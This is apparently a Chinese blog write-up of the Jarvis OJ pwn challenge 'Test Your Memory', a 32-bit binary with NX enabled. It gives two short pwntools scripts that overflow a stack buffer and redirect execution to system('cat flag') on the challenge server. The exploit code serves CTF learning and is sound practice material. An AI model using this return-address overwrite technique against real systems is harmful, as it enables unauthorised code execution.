[Jarvis OJ - PWN]——Test Your Memory

最新推荐文章于 2025-04-23 16:39:05 发布

原创最新推荐文章于 2025-04-23 16:39:05 发布 · 349 阅读

0 ·

本内容遵循CC 4.0 BY-SA版权协议

收录于

Jarvis OJ

当前文章被收录于：

Jarvis OJ

13 篇文章 1 人学习

https://www.jarvisoj.com/ Pwn的 wp 可以看我写的时间，难度逐渐加大

订阅专栏查看详情

当前文章被以下社区和专栏收录：

本文介绍了如何在具有NX保护的32位程序中，利用IDA进行内存绕过，通过IDA的反汇编和payload构造，成功获取flag的远程溢出exploit实例。

开发板推荐：天空星STM32F407VET6开发板

超高性价比 STM32主控 | 超高主频 | 一板兼容百芯 | 比赛神器 | 沉金彩色丝印

点击查看

[Jarvis OJ - PWN]——Test Your Memory

题目地址: https://www.jarvisoj.com/challenges
题目:

32位程序,开了NX保护

IDA

exploit

from pwn import *
#p = process("./memory")
p = remote("pwn2.jarvisoj.com",9876)
context.log_level = 'debug'
cat_flag_addr = 0x080487E0
sys_addr = 0x080485C9
p.recvuntil('\n------Test Your Memory!-------\n\n')
s2 = p.recv(10)
print s2
payload = (s2 + '\x00').ljust(0x13 + 0x4, 'a') 
payload += p32(sys_addr) + p32(cat_flag_addr)
p.sendlineafter("> ", payload)
p.interactive()

做绕过检查习惯了,一时间没反应过来
其实直接这样写也可以

from pwn import *
#p = process("./memory")
p = remote("pwn2.jarvisoj.com",9876)
context.log_level = 'debug'
cat_flag_addr = 0x080487E0
sys_addr = 0x080485C9
payload = 'a' * (0x13 +0x4)
payload += p32(sys_addr) + p32(cat_flag_addr)
p.sendlineafter("> ", payload)
p.interactive()